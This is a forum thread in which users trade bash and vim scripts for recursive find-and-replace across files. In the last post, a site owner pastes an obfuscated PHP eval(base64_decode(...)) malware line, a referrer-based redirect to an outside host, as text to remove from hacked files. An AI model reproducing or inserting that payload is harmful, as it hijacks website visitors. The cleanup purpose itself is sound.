The Shed is going Social! Join us on FaceBook and Twitter and chime in on the conversation.
|
 |
|
Dev Shed Forums
> Operating Systems
> UNIX Help
|
Page 2 -
Unix find and replace text within all files within a directory
Page 2 - Discuss Unix find and replace text within all files within a directory in the UNIX Help forum on Dev Shed. Unix find and replace text within all files within a directory UNIX Help forum discussing the Unix Operating System and all variants including Irix, Solarix, and AIX. Unix was designed as a true multi-user operating system.
|
|
 |
|
|
|
|
|

Dev Shed Forums Sponsor:
|
|
|

November 10th, 2010, 11:05 AM
|
|
Registered User
|
|
Join Date: Nov 2010
Posts: 1
Time spent in forums: 51 m 8 sec
Reputation Power: 0
|
|
|
I have comma separated file..
I need to remove comma between " " so that i can read each column easily with comma delimiter
Before
100,200,300,A,"34,00","64,000","0,23"
After
100,200,300,A,"3400","64000","023"
appreciate quick help
|

September 16th, 2011, 02:54 AM
|
|
Registered User
|
|
Join Date: Sep 2011
Posts: 1
Time spent in forums: 26 m 10 sec
Reputation Power: 0
|
|
Also can be done using vim.
Code:
for file in $(grep -l "PATTERN" `find . -name "*.php"`); do vim "+%s:PATTERN:REPLACE:g" "+wq" $file; done;
|

November 12th, 2011, 09:51 PM
|
|
Registered User
|
|
Join Date: Nov 2011
Posts: 1
Time spent in forums: 5 m 35 sec
Reputation Power: 0
|
|
|
Total newbie here.
I need to replace the following text line in php files only in the entire directory, meaning many folders etc.
/content/x/x/x/xxxxx/html/
with
/xxxxxx/public_html/
Which code would work best and is this done through ssh?
|

January 12th, 2012, 10:34 PM
|
|
Registered User
|
|
Join Date: Jun 2011
Posts: 1
Time spent in forums: 5 m 32 sec
Reputation Power: 0
|
|
Quote: | Originally Posted by gare very cool script. Thanks for posting. I modified it a bit, and this seems to work pretty well:
Code:
# *****************************************************************************************
# find_and_replace_in_files.sh
# This script does a recursive, case sensitive directory search and replace of files
# To make a case insensitive search replace, use the -i switch in the grep call
# uses a startdirectory parameter so that you can run it outside of specified directory - else this script will modify itself!
# *****************************************************************************************
!/bin/bash
# **************** Change Variables Here ************
startdirectory="/home/gare/tmp/tmp2"
searchterm="search"
replaceterm="replaceTerm"
# **********************************************************
echo "******************************************"
echo "* Search and Replace in Files Version .1 *"
echo "******************************************"
for file in $(grep -l -R $searchterm $startdirectory)
do
sed -e "s/$searchterm/$replaceterm/ig" $file > /tmp/tempfile.tmp
mv /tmp/tempfile.tmp $file
echo "Modified: " $file
done
echo " *** Yay! All Done! *** "
|
This is an amazing script. Thanks so much for i. I spent over 2 hours looking for something to do exactly this. Going into my toolbox!! =)
|

May 1st, 2012, 04:57 PM
|
|
Registered User
|
|
Join Date: May 2012
Posts: 1
Time spent in forums: 14 m 53 sec
Reputation Power: 0
|
|
Perl uses a .cfg file which can't hold variables.
I have a shell script which executes one perl. The perl uses some variable which is again defined in a .cfg file. In that .cfg file I have a variable (LOG_FILE=$HOME/LOG). Since I can't use the $HOME inside the .cfg file which is used by perl, I have to each time change the .cfg file with value of $HOME, then in .cfg file I have LOG_FILE=/pkg/mt411c/LOG (as the value of $HOME=/pkg/mt411c). But everytime I copy this .cfg file to other environment I have to change the value of this LOG_FILE variable with the value of "$HOME" as it gets changed in dift env. But I want to make it generic so that I will not either change the value of $HOME inside the file or I want any other shell script which will change the value of these variables each time I put the .cfg file. (Note: I have several other variables in that .cfg file, this is just one example). Please help.
|

May 2nd, 2012, 08:31 AM
|
|
|
|
This really should have been a new thread ...
There must be a few ways to acheive this - can you not include the .cfg file in the perl, for example? Is theer now way of accessing the environment variables from within perl?
__________________
The moon on the one hand, the dawn on the other:
The moon is my sister, the dawn is my brother.
The moon on my left and the dawn on my right.
My brother, good morning: my sister, good night.
-- Hilaire Belloc
|

June 24th, 2012, 01:41 PM
|
|
Registered User
|
|
Join Date: Mar 2010
Posts: 2
Time spent in forums: 48 m 16 sec
Reputation Power: 0
|
|
Very cool script. Thanks to all for the prior posting.
I had to modify some more
I'm working with a customers dedicated server (unix/Plesk) with several of their domains, and needed to run the script across all the domains as root.
The problem was that the original script resulted in changing the owner:group of the changed files to root:root which effectively killed the webserver.
My changes seem to have fixed that, (not pretty, my instructor left out the part about writing neat, tight code  ).
Code:
!/bin/bash
# *****************************************************************************************
# find_and_replace_in_files.sh
# This script does a recursive, case sensitive directory search and replace of files
# To make a case insensitive search replace, use the -i switch in the grep call
# uses a startdirectory parameter so that you can run it outside of specified directory
# - else this script will modify itself!
# modified to restore file to original owner & group - must be run as superuser
# *****************************************************************************************
# **************** Change Variables Here ************
#startdirectory="/var/www/vhosts/yoursite.com/httpdocs/"
#searchterm="what to look for"
#replaceterm="Replacement text"
#changes the whole world
startdirectory="/var/www/vhosts/"
#just for one site
#startdirectory="/var/www/vhosts/yoursite.com/httpdocs/"
searchterm="what to look for"
replaceterm="what to change it to"
# **********************************************************
echo "******************************************"
echo "* Search and Replace in Files Version .11 *"
echo "******************************************"
# -- include just change matching files
for file in $(grep -l -R --include=*.php $searchterm $startdirectory)
do
oown=$(stat -c %U $file)
join=':'
ogrp=$(stat -c %G $file)
spc=' '
nown=$oown$join$ogrp$spc
omod=$(stat -c %a $file)
sed -e "s/$searchterm/$replaceterm/ig" $file > /tmp/tempfile.tmp
mv /tmp/tempfile.tmp $file
chown $nown $file
chmod $omod $file
echo "Modified: " $file
done
echo " *** Yay! All Done! *** "
|

December 2nd, 2012, 12:04 PM
|
|
Registered User
|
|
Join Date: Dec 2012
Posts: 1
Time spent in forums: 34 m 51 sec
Reputation Power: 0
|
|
Not functioning for me...
Hello,
New to the Forum!
In my search for answers, I found this thread and decided to revive it in the hopes of getting a little direction...
Below is the code I would like to run for searching through a web dir to remove all instances of malicious code within files(php) I recently fell victim to.
I called the script via shell: ./search-replaces.sh
Get: command not found
The file: search-replace.sh resides in the root dir of the Site and is set to 0744
Another little script I have begins with: #!/bin/sh which seems to execute properly...
Code:
#!/bin/bash
# *****************************************************************************************
# find_and_replace_in_files.sh
# This script does a recursive, case sensitive directory search and replace of files
# To make a case insensitive search replace, use the -i switch in the grep call
# uses a startdirectory parameter so that you can run it outside of specified directory - else this script will modify itself!
# *****************************************************************************************
# **************** Change Variables Here ************
#startdirectory="/Full/Path/dir/to/yoursite.com/"
startdirectory="/home/adorablepet/www/adorablepetmobilegrooming.com/"
searchterm=" eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRf U0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlm ICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJl ZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBv ciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRy ZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhc LnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNl Ym9vay5jb20vbCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFvbC5jb20iKSkgew0KaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNo ZSIpIG9yICFzdHJpc3RyKCRyZWZlcmVyLCJpbnVybCIpKXsNCmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9kZW52ZXIuZHVtYjEu Y29tLyIpOw0KZXhpdCgpOw0KfQp9Cn0NCn0NCn0="));"
replaceterm=""
# **********************************************************
echo "*******************************************"
echo "* Search and Replace in Files Version 1.0 *"
echo "*******************************************"
for file in $(grep -l -R $searchterm $startdirectory)
do
sed -e "s/$searchterm/$replaceterm/ig" $file > /tmp/tempfile.tmp
mv /tmp/tempfile.tmp $file
echo "Modified: " $file
done
echo " *** Yay! All Done! *** "
Any direction is greatly appreciated,
Jim
|
Developer Shed Advertisers and Affiliates
| Thread Tools |
Search this Thread |
|
|
|
| Display Modes |
Rate This Thread |
Linear Mode
|
|
Posting Rules
|
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts
HTML code is Off
|
|
|
|
|